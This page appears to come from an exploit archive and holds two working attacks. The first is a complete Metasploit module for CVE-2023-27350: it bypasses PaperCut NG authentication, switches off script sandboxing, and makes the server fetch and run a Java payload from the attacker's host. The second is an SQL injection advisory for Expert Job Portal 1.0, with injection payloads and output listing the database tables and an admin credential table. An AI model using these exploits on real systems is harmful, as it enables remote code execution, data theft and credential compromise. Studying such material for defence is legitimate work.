<pre><code>##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br /><br />require 'cgi'<br /><br />class MetasploitModule < Msf::Exploit::Remote<br /> Rank = ExcellentRanking<br /> prepend Msf::Exploit::Remote::AutoCheck<br /> include Msf::Exploit::Remote::HttpClient<br /> include Msf::Exploit::Remote::HttpServer<br /><br /> def initialize(info = {})<br /> super(<br /> update_info(<br /> info,<br /> 'Name' => 'PaperCut PaperCutNG Authentication Bypass',<br /> 'Description' => %q{<br /> This module leverages an authentication bypass in PaperCut NG. If necessary it<br /> updates Papercut configuration options, specifically the 'print-and-device.script.enabled'<br /> and 'print.script.sandboxed' options to allow for arbitrary code execution running in<br /> the builtin RhinoJS engine.<br /><br /> This module logs at most 2 events in the application log of papercut. Each event is tied<br /> to modifcation of server settings.<br /> },<br /> 'License' => MSF_LICENSE,<br /> 'Author' => ['catatonicprime'],<br /> 'References' => [<br /> ['CVE', '2023-27350'],<br /> ['ZDI', '23-233'],<br /> ['URL', 'https://www.papercut.com/kb/Main/PO-1216-and-PO-1219'],<br /> ['URL', 'https://www.horizon3.ai/papercut-cve-2023-27350-deep-dive-and-indicators-of-compromise/'],<br /> ['URL', 'https://www.bleepingcomputer.com/news/security/hackers-actively-exploit-critical-rce-bug-in-papercut-servers/'],<br /> ['URL', 'https://www.huntress.com/blog/critical-vulnerabilities-in-papercut-print-management-software']<br /> ],<br /> 'Stance' => Msf::Exploit::Stance::Aggressive,<br /> 'Targets' => [ [ 'Automatic Target', {}] ],<br /> 'Platform' => [ 'java' ],<br /> 'Arch' => ARCH_JAVA,<br /> 'Privileged' => true,<br /> 'DisclosureDate' => '2023-03-13',<br /> 'DefaultTarget' => 0,<br /> 'DefaultOptions' => {<br /> 'RPORT' => '9191',<br /> 'SSL' => 'false'<br /> },<br /> 'Notes' => {<br /> 'Stability' => [CRASH_SAFE],<br /> 'Reliability' => [REPEATABLE_SESSION],<br /> 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK, CONFIG_CHANGES]<br /> }<br /> )<br /> )<br /> register_options(<br /> [<br /> OptString.new('TARGETURI', [true, 'Path to the papercut application', '/app']),<br /> OptInt.new('HTTPDELAY', [false, 'Number of seconds the web server will wait before termination', 10])<br /> ], self.class<br /> )<br /> @csrf_token = nil<br /> @config_cleanup = []<br /> end<br /><br /> def bypass_auth<br /> # Attempt to generate a session & recover the anti-csrf token for future requests.<br /> res = send_request_cgi(<br /> {<br /> 'method' => 'GET',<br /> 'uri' => normalize_uri(target_uri.path),<br /> 'keep_cookies' => true,<br /> 'vars_get' => {<br /> 'service' => 'page/SetupCompleted'<br /> }<br /> }<br /> )<br /> return nil unless res && res.code == 200<br /><br /> vprint_good("Bypass successful and created session: #{cookie_jar.cookies[0]}")<br /><br /> # Parse the application version from the response for future decisions.<br /> product_details = res.get_html_document.xpath('//div[contains(@class, "product-details")]//span').children[1]<br /> if product_details.nil?<br /> product_details = res.get_html_document.xpath('//span[contains(@class, "version")]')<br /> end<br /> version_match = product_details.text.match('(?<major>[0-9]+)\.(?<minor>[0-9]+)')<br /> @version_major = Integer(version_match[:major])<br /> match = res.get_html_document.xpath('//script[contains(text(),"csrfToken")]').text.match(/var csrfToken ?= ?'(?<csrf>[^']*)'/)<br /> @csrf_token = match ? match[:csrf] : ''<br /> end<br /><br /> def get_config_option(name)<br /> # 1) do a quickfind (setting the tapestry state)<br /> res = send_request_cgi(<br /> {<br /> 'method' => 'POST',<br /> 'uri' => normalize_uri(target_uri.path),<br /> 'keep_cookies' => true,<br /> 'headers' => {<br /> 'Origin' => full_uri<br /> },<br /> 'vars_post' => {<br /> 'service' => 'direct/1/ConfigEditor/quickFindForm',<br /> 'sp' => 'S0',<br /> 'Form0' => '$TextField,doQuickFind,clear',<br /> '$TextField' => name,<br /> 'doQuickFind' => 'Go'<br /> }<br /> }<br /> )<br /> # 2) parse and return the result<br /> return nil unless res && res.code == 200 && (html = res.get_html_document)<br /> return nil unless (td = html.xpath("//td[@class='propertyNameColumnValue']"))<br /> return nil unless td.count == 1 && td.text == name<br /><br /> value_input = html.xpath("//input[@name='$TextField$0']")<br /> value_input[0]['value']<br /> end<br /><br /> def set_config_option(name, value, rollback)<br /> # set name:value pair(s)<br /> current_value = get_config_option(name)<br /> if current_value == value<br /> vprint_good("Server option '#{name}' already set to '#{value}')")<br /> return<br /> end<br /><br /> vprint_status("Setting server option '#{name}' to '#{value}') was '#{current_value}'")<br /> res = send_request_cgi(<br /> {<br /> 'method' => 'POST',<br /> 'uri' => normalize_uri(target_uri.path),<br /> 'keep_cookies' => true,<br /> 'headers' => {<br /> 'Origin' => full_uri<br /> },<br /> 'vars_post' => {<br /> 'service' => 'direct/1/ConfigEditor/$Form',<br /> 'sp' => 'S1',<br /> 'Form1' => '$TextField$0,$Submit,$Submit$0',<br /> '$TextField$0' => value,<br /> '$Submit' => 'Update'<br /> }<br /> }<br /> )<br /> fail_with Failure::NotVulnerable, "Could not update server config option '#{name}' to value of '#{value}'" unless res && res.code == 200<br /> # skip storing the cleanup change if this is rolling back a previous change<br /> @config_cleanup.push([name, current_value]) unless rollback<br /> end<br /><br /> def cleanup<br /> super<br /> if @config_cleanup.nil?<br /> return<br /> end<br /><br /> until @config_cleanup.empty?<br /> cfg = @config_cleanup.pop<br /> vprint_status("Rolling back '#{cfg[0]}' to '#{cfg[1]}'")<br /> set_config_option(cfg[0], cfg[1], true)<br /> end<br /> end<br /><br /> def primer<br /> payload_uri = get_uri<br /> script = <<~SCRIPT<br /> var urls = [new java.net.URL("#{payload_uri}.jar")];<br /> var cl = new java.net.URLClassLoader(urls).loadClass('metasploit.Payload').newInstance().main([]);<br /> s;<br /> SCRIPT<br /><br /> # The number of parameters passed changed in version 17.<br /> form0 = 'printerId,enablePrintScript,scriptBody,$Submit,$Submit$0'<br /> if @version_major > 16<br /> form0 += ',$Submit$1'<br /> end<br /> # 6) Trigger the code execution the printer_id<br /> res = send_request_cgi(<br /> {<br /> 'method' => 'POST',<br /> 'uri' => normalize_uri(target_uri.path),<br /> 'keep_cookies' => true,<br /> 'headers' => {<br /> 'Origin' => full_uri<br /> },<br /> 'vars_post' => {<br /> 'service' => 'direct/1/PrinterDetails/$PrinterDetailsScript.$Form',<br /> 'sp' => 'S0',<br /> 'Form0' => form0,<br /> 'enablePrintScript' => 'on',<br /> '$Submit$1' => 'Apply',<br /> 'printerId' => 'l1001',<br /> 'scriptBody' => script<br /> }<br /> }<br /> )<br /> fail_with Failure::NotVulnerable, 'Failed to prime payload.' unless res && res.code == 200<br /> end<br /><br /> def check<br /> # For the check command<br /> bypass_success = bypass_auth<br /> if bypass_success.nil?<br /> return Exploit::CheckCode::Safe<br /> end<br /><br /> return Exploit::CheckCode::Vulnerable<br /> end<br /><br /> def exploit<br /> # Main function<br /> # 1) Bypass the auth using the SetupCompleted page & store the csrf_token for future requests.<br /> bypass_auth unless @csrf_token<br /> if @csrf_token.nil?<br /> fail_with Failure::NotVulnerable, 'Target is not vulnerable'<br /> end<br /><br /> # Sandboxing wasn't introduced until version 19<br /> if @version_major >= 19<br /> # 2) Enable scripts, if needed<br /> set_config_option('print-and-device.script.enabled', 'Y', false)<br /><br /> # 3) Disable sandboxing, if needed<br /> set_config_option('print.script.sandboxed', 'N', false)<br /> end<br /> # 5) Select the printer, this loads it into the tapestry session to be modified<br /> res = send_request_cgi(<br /> {<br /> 'method' => 'GET',<br /> 'uri' => normalize_uri(target_uri.path),<br /> 'keep_cookies' => true,<br /> 'headers' => {<br /> 'Origin' => full_uri<br /> },<br /> 'vars_get' => {<br /> 'service' => 'direct/1/PrinterList/selectPrinter',<br /> 'sp' => 'l1001'<br /> }<br /> }<br /> )<br /> fail_with Failure::NotVulnerable, 'Unable to select [Template Printer]' unless res && res.code == 200<br /><br /> Timeout.timeout(datastore['HTTPDELAY']) { super }<br /> rescue Timeout::Error<br /> # When the server stop due to our timeout, this is raised<br /> end<br /><br /> def on_request_uri(cli, request)<br /> vprint_status("Sending payload for requested uri: #{request.uri}")<br /> send_response(cli, payload.raw)<br /> end<br /><br />end<br /></code></pre>
<pre><code>┌┌───────────────────────────────────────────────────────────────────────────────────────┐<br />││ C r a C k E r ┌┘<br />┌┘ T H E C R A C K O F E T E R N A L M I G H T ││<br />└───────────────────────────────────────────────────────────────────────────────────────┘┘<br /><br /> ┌──── From The Ashes and Dust Rises An Unimaginable crack.... ────┐<br />┌┌───────────────────────────────────────────────────────────────────────────────────────┐<br />┌┘ [ Vulnerability ] ┌┘<br />└───────────────────────────────────────────────────────────────────────────────────────┘┘<br />: Author : CraCkEr :<br />│ Website : https://www.codester.com/items/20720/ │<br />│ Vendor : Expert IT Solution │<br />│ Software : Expert Job Portal Management System 1.0 │<br />│ Vuln Type: SQL Injection │<br />│ Impact : Database Access │<br />│ │<br />│────────────────────────────────────────────────────────────────────────────────────────│<br />│ ┌┘<br />└───────────────────────────────────────────────────────────────────────────────────────┘┘<br />: :<br />│ Release Notes: │<br />│ ═════════════ │<br />│ │<br />│ SQL injection attacks can allow unauthorized access to sensitive data, modification of │<br />│ data and crash the application or make it unavailable, leading to lost revenue and │<br />│ damage to a company's reputation. │<br />│ │<br />┌┌───────────────────────────────────────────────────────────────────────────────────────┐<br />┌┘ ┌┘<br />└───────────────────────────────────────────────────────────────────────────────────────┘┘<br /><br />Greets:<br /><br /> The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL <br /> <br /> CryptoJob (Twitter) twitter.com/0x0CryptoJob<br /> <br />┌┌───────────────────────────────────────────────────────────────────────────────────────┐<br />┌┘ © CraCkEr 2023 ┌┘<br />└───────────────────────────────────────────────────────────────────────────────────────┘┘<br /><br />Path: /company_type_info.php<br /><br />https://website/company_type_info.php?com_type=Agent<br /><br /><br />GET parameter 'com_type' is vulnerable to SQL Injection<br /><br />---<br />Parameter: com_type (GET)<br /> Type: boolean-based blind<br /> Title: AND boolean-based blind - WHERE or HAVING clause<br /> Payload: com_type=Agent' AND 3360=3360 AND 'rCfC'='rCfC<br /><br /> Type: time-based blind<br /> Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)<br /> Payload: com_type=Agent' AND (SELECT 4512 FROM (SELECT(SLEEP(5)))SCiH) AND 'MKSc'='MKSc<br /><br /> Type: UNION query<br /> Title: Generic UNION query (NULL) - 20 columns<br /> Payload: com_type=Agent' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7171787071,0x5174744e6d58704d494d494952476c6f4c666346534b45754e57696b444b45794e5758567a6e6163,0x71627a7a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -<br />---<br /><br /><br />[+] Starting the Attack<br /><br />fetching current database<br />current database: 'sagor_****_job'<br /><br /><br />fetching tables<br /><br />[38 tables]<br />+---------------------------------+<br />| all_country |<br />| city_manage |<br />| company_type |<br />| contact_manage |<br />| content_manage |<br />| division_manage |<br />| enroll_trainning |<br />| exp_settings |<br />| job_apply |<br />| job_categories |<br />| job_listing |<br />| job_seeker_carieer_details |<br />| job_seeker_education |<br />| job_seeker_emp_histo |<br />| job_seeker_image |<br />| job_seeker_info |<br />| job_seeker_lang_pro |<br />| job_seeker_other_relatiive_info |<br />| job_seeker_pref_details |<br />| job_seeker_profess_info |<br />| job_seeker_reff |<br />| job_seeker_resume |<br />| job_seeker_specialization |<br />| job_seeker_training |<br />| job_seeker_upload_resume |<br />| languages |<br />| package |<br />| pages |<br />| recurator_info |<br />| recurator_verification |<br />| save_jobs |<br />| social_manage |<br />| subscribe |<br />| sup_ad_log |<br />| testmonial_manage |<br />| timezones |<br />| trainning_category |<br />| trainning_manage |<br />+---------------------------------+<br /><br /><br />fetching columns for table 'sup_ad_log'<br /><br />[6 columns]<br />+------------+--------------+<br />| Column | Type |<br />+------------+--------------+<br />| status | int(11) |<br />| admin_role | int(11) |<br />| email | varchar(100) |<br />| id | int(11) |<br />| sup_pass | varchar(100) |<br />| sup_user | varchar(100) |<br />+------------+--------------+<br /><br /><br />[-] Done</code></pre>